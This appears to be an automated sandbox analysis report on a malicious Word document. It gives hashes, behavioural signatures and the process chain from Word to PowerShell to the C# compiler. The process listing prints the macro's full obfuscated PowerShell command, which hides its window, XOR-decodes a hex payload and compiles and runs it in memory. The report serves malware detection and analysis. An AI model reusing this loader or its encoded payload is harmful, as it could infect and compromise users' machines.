ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
124s
max time network
109s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-11_121809.doc
Size

41KB
MD5

7e82a874c1c377ec463376ca3d73ea53
SHA1

d2745cd4ce23a4625b70e122d44c81070cf64ccd
SHA256

e78a85ee382961c878fe54fbc542c194877e2462b7ef54af4bee5bc47ab71bec
SHA512

192d3053dc00abfe4bd66b9cb4d57f98314bd29e5ea07b29942efd8a2138faeb8bf96dcf776070826bceee74a7afd6b088b5c7ae9579efd38535a2d5aacece00

Score

10^/10

Malware Config

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1940 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1940 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1860 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	1940	powershell.exe

pid	process
1940	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1940	1860	powershell.exe	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WINWORD.EXEpowershell.execsc.exe

description	pid	process	target process
PID 1860 wrote to memory of 1940	1860	WINWORD.EXE	powershell.exe
PID 1860 wrote to memory of 1940	1860	WINWORD.EXE	powershell.exe
PID 1860 wrote to memory of 1940	1860	WINWORD.EXE	powershell.exe
PID 1940 wrote to memory of 1484	1940	powershell.exe	csc.exe
PID 1940 wrote to memory of 1484	1940	powershell.exe	csc.exe
PID 1940 wrote to memory of 1484	1940	powershell.exe	csc.exe
PID 1484 wrote to memory of 1656	1484	csc.exe	cvtres.exe
PID 1484 wrote to memory of 1656	1484	csc.exe	cvtres.exe
PID 1484 wrote to memory of 1656	1484	csc.exe	cvtres.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-11_121809.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function z866939 {param($p1aa5)$l99d2='n66d78';$vb73b4b='';for ($i=0; $i -lt $p1aa5.length;$i+=2){$q53cc7=[convert]::ToByte($p1aa5.Substring($i,2),16);$vb73b4b+=[char]($q53cc7 -bxor $l99d2[($i/2)%$l99d2.length]);}return $vb73b4b;} $j8345 = '1b455f0a50183d4f451052555543450d595f4e654f17435d03186411594c075b534a7e561a53440b476b0b44400d545d1d0d43175e560916651d444c0b5b18205e590958591743510d450d114451005116374e4b1a535b4a7e775543450d595f4e654f17435d031878014303633c46115554075516075b591d4516170f000c07571f6c7c025a7f0947571c421e465c5d1c585308040a4c1a730a434a1766590d594c5314710143681c595525535c1c53451715113316461155540755161743591a5f554452401a53440a17710042661045181a005253551027584234434a4e4e50010459424542165e560916455d020d0d02074d0c632a5a5a2d5a480144424c15530b4458015b0b5c141a4472561a444f34585100421659171a225957007b510c4457164e1a476b1614425a025f5544444c0f425f07175d16425316591827584234434a4e55035d510b0f501e17434a07585144550e0d5401520011556d72085b710346591643104c5d5316595d020504461b182b5842164e68015f58100a1a385f441042590266440b435d0d42144d6a181e4354085e5b4e45420543510d16531c435d1c581606585702165951000c591e7f0a43681a44160955595b0e544862710042661045180f07525505144e435f0a431804075350545d591a160b424c4e435f0a43181f550f505211556d72085b710346591643104c7d5316595d0205044a535402141a4472561a444f34585100420b46654c027b591252750b5b59164e1a4216650143740f454221454a01440b0256541d531f39174b1a57420d54180b4e420145564e40590d531809530e50550a5f1e7f0a43681a44161d045a0f5354487e561a664216174d0d0453520301425f5810175757520e511e031e4354085e5b4e45420543510d165f0a431802035702510c581e1f1f7e561a66421617410d040f520218531655510e5e5d57504c4d0058000f570e104c065051550c5b0652550e0d0d060451561a471f0d0d51101755045d010d530b7f0a43681a44183e524a011f4d03584c011653550e015b540d197e561a66421617400d07075001051a00525355101755045d010d424c0e5201015d0f1e46055e5b540251075c58020306075e5b0e015006095b070301075a5a02144d1e0307501e1c54095f0200590a710042661045163453440b1e430959420b175d5f0f0f51550313637f0a43681a441613000a5b040f591f6d27584234434a47030d115e561a16585d555a5d0b065f5e5e46175951000c591e4e0706095a001a13000a5b040f4807405a061a0b424c4e580f06550b471f4d03584c011653550e015b540d1975411a536d39174b5f0f5251010b534d061c040942064e0251145e4e0f544a0327584234434a4e5e0502535a5f0b7b05454b06575a4a76540259552c7054015457081f0b470d7b05454b06575a4a74571e4f1e1706010a0300571b08425e0502535a5f1a054d0c5f0b0e0206050946585313177100426610451016550755030e4062592d594c58021e4d1c08160606555511425e0502535a5f1a054d0c5d5f0f0f5155024e615306745407535810175b5b5250000a560b411633525a2d5a5f01594c461f0d17434a075851444f0e5d5301597256185f440b59550b58424a705d1a705908535d1c6657105f102b58400d4557005b530a43163d4653075e5902705908535d1c1877144754075557105e5700725710561145146a38440d0c0202461c425600005d040146140254020b5a530655151155550300515c407259135954015752225e540b1e4c5c010e57050f4c15085802045005095a020254050c5f070f50030c570201510e080c070e5102080c035755000d0f070f54020c0c00015056085f030450040859020550550c5e03055052085f141f484f0e5d53014d0c681c595501444b3d4257164371005059445a000c575559595d19166616585b0b45453743591c427f0a5157464e0057520f470d6616585b0b45454a644c0f44424c5a000c57554d0c4a0b42431659185e0d4b14425a025f5544444c0f425f07174b1a445f0a5018140e00520e0b571e4510455100511614530f0b071f1f444c1c5f58031740085305050a1a0000000000004c0d45104551005116070201080557020a6b1a445f0a50162b5b46104e030859444c5e561a165f590703070a4600005d5f187a01595f1a5e0d0d1c055c1f4d064e4c0b164252530f0c0b750b594e0b44424a63572c4f42011f480a015355196b1b544510455100511e0d1b0a471a07521e030d030f020459081d0b4c54500f441f4c430e0a0154446918165053575663465f19561e184b164e02520b0f187a01595f1a5e6b4d0c451c53421145564e55035d510b0f500d194a'; $j83452 = z866939($j8345); Add-Type -TypeDefinition $j83452; [s88b1a]::l5aff46();
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1940

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s5kpzehh\s5kpzehh.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1484

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES586B.tmp" "c:\Users\Admin\AppData\Local\Temp\s5kpzehh\CSCABD299A7499A4E2B8227AADC84FFD231.TMP"
4⤵
PID:1656

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES586B.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\s5kpzehh\s5kpzehh.dll

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\s5kpzehh\CSCABD299A7499A4E2B8227AADC84FFD231.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\s5kpzehh\s5kpzehh.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\s5kpzehh\s5kpzehh.cmdline

Download Submit